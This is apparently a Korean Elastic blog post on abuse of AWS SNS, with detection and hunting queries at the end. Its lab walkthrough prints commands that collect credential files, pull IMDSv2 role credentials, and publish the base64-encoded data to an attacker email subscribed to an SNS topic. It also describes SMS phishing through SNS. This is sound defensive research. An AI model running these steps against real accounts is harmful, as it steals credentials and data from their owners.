서문

Elastic을 사용한 AWS 탐지 엔지니어링의 또 다른 편에 오신 것을 환영합니다. 이 글에서는 위협 공격자(TA)가 AWS의 단순 알림 서비스(SNS)를 활용하는 방법과 해당 데이터 소스를 사용하여 악용 지표를 찾는 방법에 대해 자세히 설명합니다.

공격자가 SNS와 관련하여 사용할 수 있는 잠재적인 기법에 대해 알아보세요. 또한 보안 모범 사례, 역할 및 액세스 강화, SNS 악용에 대한 위협 탐지 로직을 만드는 방법도 살펴봅니다.

이 연구는 최근 화이트박스 훈련 중 데이터 유출을 위해 SNS를 활용해야 했던 내부 협업의 결과물입니다. 이 협업을 진행하는 동안 저희는 단순한 퍼블리싱 및 구독(pub/sub) 서비스를 공격자가 악용하여 다양한 목적을 달성할 수 있다는 사실에 흥미를 느꼈습니다. 공개적으로 알려진 SNS 어뷰징 시도와 데이터 소스에 대한 지식을 바탕으로 탐지 기회에 대한 이번 연구 결과를 정리했습니다.

즐겁게 읽어 보세요!

AWS SNS 이해

자세한 내용을 시작하기 전에 기본적인 기초 이해를 위해 AWS SNS가 무엇인지 알아보겠습니다.

AWS SNS는 사용자가 클라우드에서 알림을 주고받을 수 있는 웹 서비스입니다. 디지털 토픽이 생성되면 업데이트에 관심이 있는 사람들이 이메일, 슬랙 등을 통해 구독하고 해당 토픽에 데이터가 게시되면 모든 구독자에게 알림이 전송되어 수신하는 뉴스 피드 서비스처럼 생각하면 됩니다. 이는 일반적으로 클라우드 서비스 공급자(CSP)가 일반적으로 제공하는 퍼블릭/서브 서비스라고 하는 것을 설명합니다. Azure에서는 Web PubSub로 제공되는 반면, GCP에서는 Pub/Sub로 제공됩니다. 이러한 서비스의 이름은 플랫폼마다 조금씩 다를 수 있지만, 그 효용과 목적은 다르지 않습니다.

SNS는 서로 다른 목적을 가진 애플리케이션 대 사람 (A2P)과 애플리케이션 대 애플리케이션 (A2A)의 두 가지 워크플로우를 제공합니다. A2P 워크플로는 Firehose, Lambda, SQS 등과 같은 AWS 서비스와의 통합 운영에 더 중점을 둡니다. 하지만 이 글에서는 A2P 워크플로에 초점을 맞추겠습니다. 아래 다이어그램에서 볼 수 있듯이 일반적으로 SNS 토픽을 생성하여 구독자가 SMS, 이메일 또는 푸시 알림을 활용하여 메시지를 수신할 수 있도록 합니다.

추가 기능:

필터 정책: 가입자는 원하는 경우 관련 메시지의 하위 집합만 수신하도록 필터링 규칙을 정의할 수 있습니다. 이러한 필터 정책은 구독자가 관심 있는 메시지의 속성을 지정하는 JSON 형식으로 정의됩니다. SNS는 메시지를 전송하기 전에 서버 측에서 이러한 정책을 평가하여 메시지를 전송할 구독자를 결정합니다.

암호화: SNS는 AWS 키 관리 서비스(KMS)를 사용하는 서버 측 암호화 (SSE)를 활용하여 미사용 메시지를 보호합니다. 암호화를 활성화하면 메시지가 SNS에 저장되기 전에 암호화되고 엔드포인트에 전달될 때 암호가 해독됩니다. 물론 이는 개인 식별 정보(PII) 또는 계정 번호와 같은 기타 민감한 데이터의 보안을 유지하는 데 중요합니다. SNS는 미사용 시에만 암호화하지만, 다른 프로토콜(예: HTTPS)은 전송 중에도 암호화를 처리하여 엔드투엔드(E2E) 암호화를 구현합니다.

배달 재시도 및 사서함 대기열(DLQ): SNS는 예상치 못한 실패가 발생할 경우 SQS, 람다 등과 같은 엔드포인트에 메시지 전달을 자동으로 재시도합니다. 그러나 전달에 실패한 메시지는 궁극적으로 개발자가 디버깅할 수 있도록 일반적으로 AWS SQS 대기열인 DLQ에 상주합니다.

확장성: AWS SNS는 대량의 메시지를 처리하도록 설계되어 수동 개입 없이도 트래픽 증가에 따라 자동으로 확장할 수 있습니다. 선불 프로비저닝 요구 사항이 없으며 사용한 만큼만 비용을 지불하므로 대부분의 조직에 비용 효율적입니다.

AWS SNS는 클라우드 환경에서 커뮤니케이션을 촉진하는 강력한 도구입니다. 더 깊이 이해하려면 AWS의 기존 설명서를 자세히 살펴보는 것이 좋습니다. 하지만 다목적성과 통합 기능으로 인해 악용되기 쉬운 기능이기도 합니다. 다음 섹션에서는 공격자가 악의적인 목적으로 SNS를 활용할 수 있는 몇 가지 시나리오를 살펴봅니다.

화이트박스 테스트

화이트박스 테스트는 취약하거나 잘못 구성된 인프라와 그 구성을 완벽하게 파악할 수 있는 통제된 환경에서 악의적인 동작의 원자 에뮬레이션을 수행하는 것을 포함합니다. 이 접근 방식은 클라우드 환경에서 특정 전술, 기법 및 절차(TTP)를 대상으로 하는 위협 탐지 규칙 또는 모델을 개발하는 동안 탐지 기능을 검증하기 위해 일반적으로 사용됩니다. 공격자 시뮬레이션에 멀웨어 바이너리 및 툴을 폭파하는 경우가 많은 엔드포인트 환경과 달리 클라우드 기반 TTP는 일반적으로 "living-off-the-cloud" 기술을 통해 기존 API 기반 서비스를 악용하므로 정확한 분석 및 탐지에 이 접근 방식이 필수적입니다.

SNS를 통한 데이터 유출

SNS를 통한 유출은 탈취한 데이터를 수신하는 프록시 역할을 하는 주제를 만들어 이메일이나 모바일과 같은 외부 미디어 소스로 전달하는 것으로 시작됩니다. 그러면 공격자는 해당 미디어 소스를 주제에 구독하여 수신된 모든 데이터가 자신에게 전달되도록 합니다. 이 단계가 끝나면 데이터를 패키징하고 배포를 담당하는 SNS 토픽에 게시하기만 하면 됩니다. 이 방법을 사용하면 공격자는 네트워크 ACL과 같은 기존의 데이터 보호 메커니즘을 우회하여 승인되지 않은 외부 대상에 정보를 유출할 수 있습니다.

워크플로 예시:

• EC2 인스턴스에 랜딩하여 민감한 데이터 검색을 수행하고 나중에 사용할 수 있도록 스테이징합니다.
• 설치된 AWS CLI를 통해 기본적으로 IMDSv2 및 STS를 활용하여 임시 크레딧을 얻으세요.
• SNS에서 토픽을 만들고 외부 이메일 주소를 구독자로 첨부합니다.
• 민감한 정보를 Base64(또는 일반 텍스트)로 인코딩하여 주제에 게시합니다.
• 외부 이메일 주소가 유출된 데이터를 수신합니다.

인프라 설정

피해 인프라의 경우, 저희가 선호하는 코드형 인프라(IaC) 프레임워크인 Terraform을 사용합니다.

이 예제를 따르는 데 필요한 모든 파일이 포함된 공개 요점이 만들어졌습니다. 요약하자면, 이러한 Terraform 구성은 퍼블릭 서브넷 내의 AWS에 EC2 인스턴스를 배포합니다. 이 설정에는 민감한 데이터에 대한 더미 자격 증명을 환경 변수로 추가하는 사용자 데이터 스크립트가 포함되어 있으며, 손상된 환경을 에뮬레이션하기 위해 AWS CLI를 설치합니다. 또한 EC2 인스턴스에는 sns:Publish, sns:Subscribe 및 sns:CreateTopic 에 대한 권한이 있는 IAM 역할이 할당됩니다.

공격자가 웹 셸 배포를 위해 취약한 웹 애플리케이션을 악용하거나, 탈취한 SSH 자격 증명 사용, 비밀번호 스프레이 또는 자격 증명 스터핑 등 여러 가지 잠재적인 방법으로 이 EC2 인스턴스에 초기 액세스 권한을 얻을 수 있습니다. 이 특정 예시 시나리오에서 공격자가 취약한 웹 애플리케이션을 통해 최초 진입한 후 웹 셸을 업로드했다고 가정해 보겠습니다. 이 경우 다음 목표는 자격 증명 액세스를 통한 지속성입니다. 이는 공격자가 Oracle WebLogic, Apache Tomcat, Atlassian Confluence, Microsoft Exchange 등과 같은 인기 있는 타사 소프트웨어 또는 웹 앱을 공격할 때 흔히 볼 수 있는 현상입니다.

시작하려면 요점에서 테라폼 파일을 다운로드하세요.

1. variables.tf 파일의 변수를 설정에 맞게 조정합니다.
   1. trusted_ip_cidr에 화이트리스트 IPv4 주소를 추가합니다.
   2. 로컬 SSH 키 파일 경로를 public_key_path에 추가합니다.
   3. ami_id.default가 해당 지역의 올바른 AMI-ID인지 확인하세요.
2. 폴더에서 terraform init 을 실행하여 작업 디렉터리를 초기화합니다.

준비가 되면 terraform apply 을 실행하여 인프라를 배포합니다.

몇 가지 알림을 알려드립니다:

• Terraform은 AWS CLI 기본 프로필을 사용하므로 AWS 구성에서 올바른 프로필로 작업하고 있는지 확인하세요.
• 제공된 AMI ID는 us-east-1 지역 전용입니다. 다른 지역에 배포하는 경우 variables.tf 파일에서 AMI ID를 적절히 업데이트하세요.
• trusted_ip_cidr.default 에서 variables.tf 을 0.0.0.0/0(모든 IP)에서 공개적으로 알려진 CIDR 범위로 변경합니다.

테라폼 적용 출력

사용자 데이터 스크립트에서 민감한 자격 증명이 생성되었는지 확인하기 위해 EC2 인스턴스에 SSH로 접속해 보겠습니다. outputs.tf 파일에서 EC2 인스턴스의 키 경로와 공인 IP를 기반으로 SSH 명령이 생성되도록 했습니다.

이러한 인프라가 준비되고 확정되면 이제 실질적인 실행 단계로 넘어갈 수 있습니다.

실제 워크플로 민감한 자격 증명 유출하기

이제 인프라가 구축되었으니 실제로 이 워크플로우를 단계별로 살펴보겠습니다. 다시 말해, 기회주의적 공격자의 목표는 로컬 자격 증명을 확인하고, 가능한 한 많은 데이터를 확보한 후 민감한 데이터를 로컬에서 스테이징하는 것입니다. 이 EC2 인스턴스에 착륙한 후, AWS CLI가 존재한다는 것을 확인했고, SNS 권한이 있음을 확인했습니다. 따라서 SNS 토픽을 생성하고 외부 이메일을 구독자로 등록한 다음 탈취한 자격 증명 및 기타 데이터를 SNS 메시지로 유출할 계획입니다.

참고: 이 예시는 매우 단순하지만, 탈출을 위한 방법론으로서 SNS에 초점을 맞추는 것이 목표입니다. 정확한 상황과 시나리오는 피해자의 특정 인프라 설정에 따라 달라질 수 있습니다.

일반적인 위치에서 자격 증명을 식별하고 수집합니다:
공격자는 GitHub 자격 증명 파일과 .env를 대상으로 합니다. 파일을 로컬에 저장합니다. 이렇게 하면 이러한 파일에서 자격 증명을 가져와 /tmp 임시 폴더에 드롭하여 유출을 위한 준비를 합니다.

명령: cat /home/ubuntu/.github/credentials /home/ubuntu/project.env > /tmp/stolen_creds.txt

SNS 토픽 생성을 통한 무대 유출 방법
기존 AWS CLI를 활용하여 SNS 토픽을 생성해 보겠습니다. 다시 말해, 이 EC2 인스턴스는 우리가 생성하고 연결한 사용자 지정 IAM 역할을 가정하여 SNS 토픽을 만들고 메시지를 게시할 수 있습니다. AWS CLI는 EC2 인스턴스에 사전 설치되어 있으므로, 호출 시 가정된 역할에 대한 임시 자격 증명을 IMDSv2에서 검색합니다. 그러나 그렇지 않은 경우 공격자는 다음 bash 코드를 사용하여 기본적으로 자격 증명을 검색할 수 있습니다.

# Fetch the IMDSv2 token
TOKEN=$(curl -X PUT "http://169.254.169.254/latest/api/token" -H "X-aws-ec2-metadata-token-ttl-seconds: 21600")

# Get the IAM role name
ROLE_NAME=$(curl -H "X-aws-ec2-metadata-token: $TOKEN" http://169.254.169.254/latest/meta-data/iam/security-credentials/)

# Fetch the temporary credentials
CREDENTIALS=$(curl -H "X-aws-ec2-metadata-token: $TOKEN" http://169.254.169.254/latest/meta-data/iam/security-credentials/$ROLE_NAME)

# Extract the Access Key, Secret Key, and Token
AWS_ACCESS_KEY_ID=$(echo $CREDENTIALS | jq -r '.AccessKeyId')
AWS_SECRET_ACCESS_KEY=$(echo $CREDENTIALS | jq -r '.SecretAccessKey')
AWS_SESSION_TOKEN=$(echo $CREDENTIALS | jq -r '.Token')

이 작업이 완료되면 SNS 토픽과 유출된 데이터의 외부 수신자로 사용할 이메일 주소를 생성해 보겠습니다.

토픽 명령 만들기: TOPIC_ARN=$(aws sns create-topic --name "whitebox-sns-topic" --query 'TopicArn' --output text)

구독 명령: aws sns subscribe --topic-arn "$TOPIC_ARN" --protocol email --notification-endpoint "adversary@protonmail.com"

명령이 실행된 후 위와 같이 외부 이메일 주소의 받은 편지함으로 이동하여 구독을 확인할 수 있습니다. 확인이 완료되면 이제 외부 이메일 주소가 whitebox-sns-topic topic 으로 전송된 모든 메시지를 수신하게 되며, 이 주소는 유출에 사용할 계획입니다.

SNS 게시를 통한 데이터 유출
이 시점에서 EC2 인스턴스에 액세스하여 환경을 파악하기 위해 스누핑하고 악용될 수 있는 일부 서비스와 확보하려는 자격 증명을 식별했습니다. 이전 단계는 모두 웹셸을 통해 손상된 EC2 인스턴스에 드롭할 수 있는 간단한 Bash 스크립트를 통해 수행할 수 있었지만, 예시를 위해 개별 단계로 세분화했습니다.

다음으로 /tmp/stolen_creds.txt 에 저장한 데이터를 가져와 base64로 인코딩한 후 SNS를 통해 공격자가 제어하는 이메일 주소로 전송할 수 있습니다.

명령:

• Base64 인코딩 콘텐츠: BASE64_CONTENT=$(base64 /tmp/stolen_creds.txt)
• 인코딩된 자격 증명을 주제에 게시합니다: aws sns publish --topic-arn "$TOPIC_ARN" --message "$BASE64_CONTENT" --subject "Encoded Credentials from EC2"

완료되면 받은 편지함에서 유출된 자격 증명이 있는지 간단히 확인할 수 있습니다.

메시지에서 페이로드를 가져와서 디코딩하면 EC2 인스턴스에서 찾은 자격 증명을 나타내는 것을 확인할 수 있습니다.

많은 공격자가 지속성을 확립하거나 AWS 환경과 서비스 전체에서 측면 이동을 시도할 수 있기 때문에, IAM 사용자 또는 역할에 대한 권한이 범위 내에 있는 한 이 SNS 토픽을 사용하여 데이터를 유출할 수 있습니다. 또한, 이 EC2 인스턴스에서 데이터를 검색하고 시간이 지남에 따라 흥미로운 것을 지속적으로 추출하는 반복 작업을 설정할 수도 있습니다. 이 시나리오에서는 추가 연결을 위한 실용적인 옵션이 많이 있습니다.

계속하기 전에 다음 명령을 사용하여 SSH 연결에서 로그아웃한 후 인프라를 삭제하는 것이 좋습니다: terraform destroy --auto-approve

적의 도전:

물론 모든 화이트박스 테스트에는 많은 불확실성이 존재하며, 이는 지식, 기술 및 능력에 있어 숙련된 TA와 미숙한 TA 모두에게 장애물이나 장애물로 작용할 수 있습니다. 또한 잠재적 피해자의 구성과 환경에 따라 크게 달라질 수 있습니다. 다음은 공격자들이 직면할 수 있는 추가적인 도전 과제입니다.

초기 액세스: EC2 인스턴스에 대한 초기 액세스 권한을 얻는 것이 가장 큰 장애물인 경우가 많습니다. 여기에는 취약한 웹 애플리케이션이나 타사 서비스를 악용하거나, 도난당한 SSH 자격증명, 비밀번호 스프레이 또는 자격증명 스터핑을 사용하거나, 소셜 엔지니어링 또는 피싱과 같은 다른 수단을 활용하는 것이 포함될 수 있습니다. 초기 액세스 권한이 없으면 전체 공격 체인을 실행할 수 없습니다.

활성 세션 설정하기: 액세스 권한을 얻은 후 활성 세션을 유지하는 것은 어려울 수 있으며, 특히 강력한 엔드포인트 보호 또는 무단 활동을 제거하는 정기적인 재부팅 환경이 포함된 경우 더욱 그렇습니다. 공격자는 웹셸, 리버스 셸 또는 자동화된 드롭퍼 스크립트와 같은 기술을 사용하여 지속적인 발판을 마련해야 할 수 있습니다.

인스턴스에 AWS CLI가 설치되어 있습니다: 퍼블릭 대면 EC2 인스턴스에 AWS CLI가 있는 경우는 흔하지 않으며 모범 사례로 간주되지 않습니다. 많은 보안 환경에서는 AWS CLI를 사전 설치하지 않기 때문에 공격자가 자체 도구를 가져오거나 덜 직접적인 방법에 의존하여 AWS 서비스와 상호 작용해야 합니다.

IAM 역할 권한: EC2 인스턴스에 연결된 IAM 역할에는 SNS 작업에 대한 허용 정책이 포함되어야 합니다(sns:Publish, sns:Subscribe, sns:CreateTopic, sts:GetCallerIdentity). 많은 환경에서는 무단 사용을 방지하기 위해 이러한 권한을 제한하고 있으며, 공격이 성공하기 위해서는 잘못된 구성이 필요한 경우가 많습니다. 최소 권한 원칙(PoLP)과 같은 모범 보안 사례는 역할이 필요한 권한으로만 설정되도록 보장합니다.

악성 스크립트 실행: 알람을 트리거하지 않고 스크립트를 성공적으로 실행하거나 명령을 실행하는 것은 어려운 일입니다(예: CloudTrail, GuardDuty, EDR 에이전트). 공격자는 자신의 활동이 합법적인 트래픽에 섞이도록 하거나 난독화 기술을 사용하여 탐지를 회피해야 합니다.

적을 위한 이점

물론 이러한 기술을 사용하는 공격자에게는 어려움이 있지만, 이러한 기술이 가져올 수 있는 몇 가지 중요한 이점도 고려해 보겠습니다.

• 네이티브 AWS 서비스와의 혼합: 공격자는 AWS SNS를 데이터 유출에 활용함으로써 공격자의 활동이 기본 AWS 플래그십 서비스를 합법적으로 사용하는 것처럼 보이게 합니다. SNS는 일반적으로 알림과 데이터 유포에 사용되기 때문에 즉각적인 의심을 불러일으킬 가능성이 적습니다.
• IAM 역할을 통한 신원 도용: AWS CLI를 통해 수행된 작업은 EC2 인스턴스에 연결된 IAM 역할에 어트리뷰션됩니다. 역할에 이미 SNS 활동에 대한 권한이 있고 유사한 작업에 정기적으로 사용되는 경우, 적대적인 활동이 예상되는 작업과 원활하게 혼합될 수 있습니다.
• 보안 그룹이나 네트워크 ACL에 대한 걱정 없음: SNS 통신은 전적으로 AWS의 범위 내에서 이루어지므로 보안 그룹이나 네트워크 ACL 구성에 의존할 필요가 없습니다. 이는 기존의 아웃바운드 트래픽 제어를 우회하여 공격자의 데이터 유출 시도가 차단되지 않도록 합니다.
• SNS 남용에 대한 탐지 부족: 데이터 유출을 위한 SNS 남용은 많은 환경에서 제대로 모니터링되지 않고 있습니다. 보안팀은 일반적으로 악용되는 AWS 서비스(예: S3 또는 EC2)에 집중할 수 있으며, 잦은 토픽 생성이나 대량의 게시 메시지와 같은 비정상적인 SNS 활동에 대한 전용 탐지 또는 경고가 부족할 수 있습니다.
• 비침입 명령으로 설치 공간 최소화: 공격자가 사용하는 로컬 명령(예: cat, echo, base64)은 정상적이며 일반적으로 엔드포인트 탐지 및 대응(EDR) 도구를 트리거하지 않습니다. 이러한 명령은 합법적인 관리 작업에서 흔히 사용되므로 공격자가 백엔드 Linux 시스템에서 탐지를 피할 수 있습니다.
• 효율적이고 확장 가능한 유출: SNS는 공격자가 여러 가입자에게 대량의 데이터를 전송할 수 있도록 하여 확장 가능한 유출을 가능하게 합니다. 일단 설정이 완료되면 공격자는 최소한의 추가 노력으로 민감한 정보의 주기적 게시를 자동화할 수 있습니다.
• 지속적인 유출 기능: SNS 토픽과 구독이 활성 상태로 유지되는 한 공격자는 지속적인 유출을 위해 인프라를 사용할 수 있습니다. 특히 IAM 역할이 권한을 유지하고 사전 예방적 모니터링이 구현되지 않은 경우 더욱 그렇습니다.
• 송신 모니터링 및 DLP 우회: AWS 환경 내에서 SNS를 통해 데이터가 유출되기 때문에 외부 목적지로의 아웃바운드 트래픽에 초점을 맞추는 기존의 송신 모니터링 또는 데이터 손실 방지 솔루션을 우회합니다.

야생에서의 학대

화이트박스 시나리오는 잠재적인 공격 행위를 시뮬레이션하는 데 매우 중요하지만, 이러한 시뮬레이션을 실제(In-the-Wild) 위협에 기반하는 것도 마찬가지로 중요합니다. 이를 위해 공개적으로 이용 가능한 연구를 살펴본 결과, AWS SNS를 활용한 스팸 메시지 캠페인을 설명하는 SentinelOne의 주요 기사를 확인했습니다. 이 연구에서 얻은 인사이트를 바탕으로 통제된 환경에서 이러한 기법을 재현하여 그 의미를 더 잘 이해하고자 했습니다.

센티넬원의 연구에 요약된 어트리뷰션 분석에 대해서는 자세히 다루지 않겠지만, 캠페인의 기원에 대해 더 자세히 알아보려면 센티넬원의 연구를 검토하는 것이 좋습니다. 대신 공격자가 악의적인 목적으로 AWS SNS를 악용하기 위해 사용하는 도구와 기법에 초점을 맞추고 있습니다.

스미싱 및 피싱

사전 구성된 SNS 서비스가 있는 손상된 AWS 환경은 스미싱(SMS 피싱) 또는 피싱 공격의 런치패드가 될 수 있습니다. 공격자는 조직의 커뮤니케이션 채널에 내재된 신뢰를 이용하여 합법적인 SNS 주제와 구독자를 악용하여 내부 또는 외부에 사기성 메시지를 배포할 수 있습니다.

센티넬원의 블로그에 자세히 설명되어 있듯이 공격자는 SNS Sender라는 Python 기반 도구를 사용했습니다. 이 스크립트는 손상된 AWS 자격 증명을 사용하여 AWS SNS API와 직접 상호 작용함으로써 대량 SMS 피싱 캠페인을 가능하게 했습니다. 공격자는 이러한 인증된 API 요청을 통해 일반적인 안전 장치를 우회하고 피싱 메시지를 대량으로 전송할 수 있었습니다.

SNS Sender 스크립트는 유효한 AWS 액세스 키와 비밀 번호를 활용하여 AWS SDK를 통해 인증된 API 세션을 설정합니다. 이러한 인증 정보로 무장한 공격자는 다음과 같은 피싱 워크플로우를 만들 수 있습니다:

1. AWS SDK를 통해 인증된 SNS API 세션 설정.
2. 피싱 수신자로 사용할 전화번호 목록을 열거하고 타겟팅합니다.
3. 신뢰할 수 있는 개체를 스푸핑하기 위해 미리 등록된 발신자 ID(사용 가능한 경우)를 활용합니다.
4. 합법적인 서비스를 사칭하는 악성 링크가 포함된 SMS 메시지를 보내는 경우가 많습니다.

엘라스틱 보안 연구소는 SNS Sender와 같이 클라우드 서비스를 악용하기 위한 일회성 또는 상용 도구의 사용이 계속 증가할 것으로 예측하고 있습니다. 이는 이러한 도구와 클라우드 보안에 미치는 영향을 이해하는 것이 중요하다는 것을 강조합니다.

무기화 및 사전 테스트 고려 사항

공격자가 AWS SNS를 사용하여 대규모 피싱 캠페인을 성공적으로 실행하려면 이미 등록된 AWS 최종 사용자 메시징 조직에 대한 액세스 권한이 필요했을 것입니다. AWS는 신규 계정을 SNS 샌드박스 모드로 제한하여 수동으로 확인된 전화번호로만 SMS를 전송하도록 제한합니다. 샌드박스 제한을 우회하려면 공격자가 이미 프로덕션 SMS 메시징에 대해 승인된 계정에 액세스해야 합니다. 테스트 및 무기화 과정에는 몇 가지 주요 단계가 필요했을 것입니다.

완전히 구성된 AWS 최종 사용자 메시징 설정이 필요합니다:

• 확립된 발신 ID(긴 코드, 수신자 부담 번호 또는 짧은 코드 포함).
• 브랜드 등록 절차를 통한 규제 승인.
• 대용량 SMS 메시징을 위한 이동 통신사 사전 승인.

이러한 사전 등록된 식별자가 없으면 AWS SNS 메시지의 우선 순위가 떨어지거나 차단되거나 전송에 실패할 수 있습니다.

공격자는 대규모 공격을 배포하기 전에 AWS SNS 샌드박스 모드 내에서 확인된 전화번호를 사용하여 SMS 전송을 테스트할 가능성이 높습니다. 이 프로세스에는 다음이 필요합니다:

• 메시지를 보내기 전에 전화번호를 수동으로 확인합니다.
• 일부 통신사(예: T-Mobile 및 Google Voice)는 AWS SNS 샌드박스 확인 SMS를 자주 차단하므로, 사용 중인 통신사가 AWS SNS 샌드박스 메시지를 허용하는지 확인합니다.
• 여러 AWS 지역에서 배달 경로를 테스트하여 사용자 지정 발신자 ID를 허용하거나 샌드박스가 아닌 메시지를 허용하는 국가를 식별합니다.

공격자의 테스트 환경이 SNS 인증 OTP를 수신하지 못하면, 공격자는 다른 AWS 계정으로 전환하거나 이미 프로덕션 수준의 메시징 권한이 있는 손상된 AWS 계정을 활용할 가능성이 높습니다.

이 외에도 공격자는 홍보성 메시지보다 거래 관련 메시지를 우선시할 가능성이 높습니다. 트랜잭션 메시지(OTP, 보안 알림 등)는 AWS에서 우선순위를 지정하지만, 프로모션 메시지는 우선순위가 낮으며 특정 통신사에 의해 필터링되거나 차단될 수 있습니다.

공격자가 메시지 유형 기본값을 재정의할 수 없는 경우 피싱 메시지의 우선 순위가 낮아지거나 AWS에서 거부될 수 있으며, 이는 장애물이 될 수 있습니다.

등록된 발신 ID & 발신자 ID(지원되는 경우)

AWS는 대량의 SMS 메시지를 전송하는 기업에 대해 브랜드 등록 및 발신자 신원 확인을 요구합니다. 지역과 통신사에 따라 공격자는 다른 구성을 악용할 수 있습니다:

• 발신자 ID 남용: 일부 미국 외 지역의 경우 지역에서는 공격자가 발신자 ID를 등록하여 신뢰할 수 있는 기관에서 보낸 피싱 메시지가 표시되도록 할 수 있습니다. 이를 통해 은행, 운송 회사 또는 정부 기관을 사칭하여 피싱 시도를 더욱 그럴듯하게 만들 수 있습니다.
• 긴 코드 & 무료 이용: AWS SNS는 아웃바운드 SMS에 긴 코드(표준 전화번호) 또는 수신자 부담 전화번호를 할당합니다. 수신자 부담 전화 번호는 등록이 필요하지만 공격자가 활성 수신자 부담 메시징 서비스를 통해 AWS 계정을 침해하는 경우 악용될 수 있습니다.
• 짧은 코드 제한: 처리량이 많은 짧은 코드(5자리 또는 6자리 숫자)는 통신사가 통제하는 경우가 많으며 추가 검사가 필요하므로 공격자에게는 실용성이 떨어집니다.

인프라 설정

기본적으로 최종 사용자 메시징 서비스를 올바르게 구성하지 않은 AWS 계정은 SMS 샌드박스로 제한됩니다. 이 샌드박스를 통해 개발자는 확인된 전화번호로 메시지를 전송하여 SMS 기능을 테스트할 수 있습니다. 하지만 샌드박스에서 숫자를 검증하는 과정에는 여러 가지 어려움이 있습니다.

샌드박스에 전화번호를 등록하려고 여러 번 시도했지만 Google 보이스, Twilio 등 다양한 통신사 및 서비스에서 인증 메시지(OTP 코드)가 엔드포인트에 도착하지 않는 것으로 나타났습니다. 이는 이동통신사가 이러한 샌드박스 발신 메시지를 차단하여 검증 프로세스를 효과적으로 지연시키지만 궁극적으로는 해당 행위를 모방하는 것을 차단할 수 있음을 시사합니다.

프로덕션 사용 시 샌드박스에서 마이그레이션하려면 완전히 구성된 AWS 최종 사용자 메시징 서비스가 필요합니다. 여기에는 다음이 포함됩니다:

• 합법적인 발신자 ID.
• 장애 조치를 위한 전화 풀입니다.
• 오리진 신원.
• 규정 준수를 위한 브랜드 등록.

이 설정은 SNS 발신자 스크립트의 요구사항과 일치하며 공격자에게 이상적인 환경을 나타냅니다. 미리 설정된 발신 ID 및 브랜드 등록에 의존하는 발신자 ID를 사용하면 피싱 메시지가 평판이 좋은 조직에서 보낸 것처럼 보이게 할 수 있습니다. 이렇게 하면 탐지 또는 통신사 수준의 차단 가능성을 줄여 캠페인의 성공률을 높일 수 있습니다.

이 공격의 요구 사항을 보면 공격자는 자동화된 SMS 알림 및 메시징을 위해 AWS 최종 사용자 메시징을 사용하는 기업을 표적으로 삼을 가능성이 높다는 것을 알 수 있습니다. 물류 및 배송 서비스, 전자상거래 플랫폼, 여행 및 숙박업과 같은 산업은 자동화된 SMS 알림에 의존하기 때문에 주요 타깃이 됩니다.

수신자 입장에서는 피싱 메시지가 신뢰할 수 있는 기관에서 보낸 것처럼 보이게 하여 통신사 경보를 우회하고 의심을 피할 수 있습니다.

테스트 중에 스크립트와 AWS CLI를 사용하여 SNS를 통해 직접 SMS 메시지를 보내려고 할 때 CloudTrail에 로그인하는 과정에서 예기치 않은 동작이 발생했습니다. 실패한 메시지 전달 시도가 예상대로 CloudTrail 로그에 나타나지 않았습니다.

일반적으로 게시 API 호출은 (데이터 플레인 이벤트가 활성화된 경우) CloudTrail에 기록되지만, 실패한 시도에 대한 로그가 없는 것이 SNS의 고유한 동작 때문인지 아니면 저희 측의 잘못된 구성 때문인지는 아직 명확하지 않습니다. 이러한 차이는 AWS에서 실패한 SNS 게시 요청을 처리하는 방식과 이러한 이벤트를 안정적으로 캡처하기 위해 추가 구성이 필요한지에 대한 심층적인 조사의 필요성을 강조합니다.

그 결과, 공격자의 행동을 완전히 복제할 수 없고, 미리 설정되고 등록된 브랜드 및 출처 신원에 의존하기 때문에 탐지 규칙보다는 이에 대한 위협 헌팅 쿼리를 포함하는 것이 가장 좋다고 판단했습니다.

탐지 및 헌팅 기회

탐지 및 헌팅을 위해 CloudTrail 감사 로그는 이 활동의 후속 API 호출에 대한 충분한 가시성을 제공합니다. 또한 이러한 비정상적인 신호의 정확도를 높이는 데 도움이 되는 충분한 컨텍스트 정보도 포함되어 있습니다. 다음 탐색 및 헌팅 쿼리는 AWS CloudTrail 통합을 통해 Elastic 스택으로 수집된 CloudTrail 데이터를 활용하지만, 필요한 경우 사용자가 선택한 SIEM으로 변환할 수 있어야 합니다. 이 활동에서는 가정된 역할, 특히 EC2 인스턴스가 악용되는 역할에만 초점을 맞추었지만, 이는 AWS 환경의 다른 곳에서도 발생할 수 있습니다.

희귀 사용자가 만든 SNS 토픽

탐지 규칙 소스
헌팅 쿼리 소스
MITRE ATT&CK: T1608

희귀한 AWS 사용자 ID ARN(IAM 사용자 또는 역할)이 SNS 토픽을 생성한 시점을 식별합니다. 이 탐지는 Elastic의 새 용어 유형 규칙을 활용하여 사용자 ID ARN이 처음 발생하여 SNS 토픽을 생성하는 시점을 식별합니다. 일반적으로 EC2 인스턴스에 활용되는 가정된 역할이 SNS 토픽을 생성하는 것은 매우 이례적인 일입니다.

이 쿼리는 KQL 및 새 용어 규칙 유형을 활용하여 EC2 인스턴스에 대해 특별히 가정된 역할에 의해 생성된 주제에 초점을 맞춥니다.

event.dataset: "aws.cloudtrail"
    and event.provider: "sns.amazonaws.com"
    and event.action: "Publish"
    and aws.cloudtrail.user_identity.type: "AssumedRole"
    and aws.cloudtrail.user_identity.arn: *i-*

헌팅 쿼리(ES|QL)

헌팅 쿼리는 ID 유형이 역할로 가정된 엔티티의 CreateTopic API 작업에 중점을 둡니다. 또한 ARN을 구문 분석하여 이 요청이 소싱되는 EC2 인스턴스인지 확인합니다. 그런 다음 클라우드 계정, 엔티티(EC2 인스턴스 ID), 가정된 역할 이름, 지역 및 사용자 에이전트를 기준으로 집계할 수 있습니다. 보고된 EC2 인스턴스가 SNS 토픽을 무작위로 생성하는 것이 비정상적이라면 조사해 볼 만한 이상 신호일 수 있습니다.

from logs-aws.cloudtrail-*
| where @timestamp > now() - 7 day
| WHERE
    event.dataset == "aws.cloudtrail" AND
    event.provider == "sns.amazonaws.com" AND
    event.action == "Publish"
    and aws.cloudtrail.user_identity.type == "AssumedRole"
| DISSECT aws.cloudtrail.request_parameters "{%{?message_key}=%{message}, %{?topic_key}=%{topic_arn}}"
| DISSECT aws.cloudtrail.user_identity.arn "%{?}:assumed-role/%{assumed_role_name}/%{entity}"
| DISSECT user_agent.original "%{user_agent_name} %{?user_agent_remainder}"
| WHERE STARTS_WITH(entity, "i-")
| STATS regional_topic_publish_count = COUNT(*) by cloud.account.id, entity, assumed_role_name, topic_arn, cloud.region, user_agent_name
| SORT regional_topic_publish_count ASC

사냥 노트:

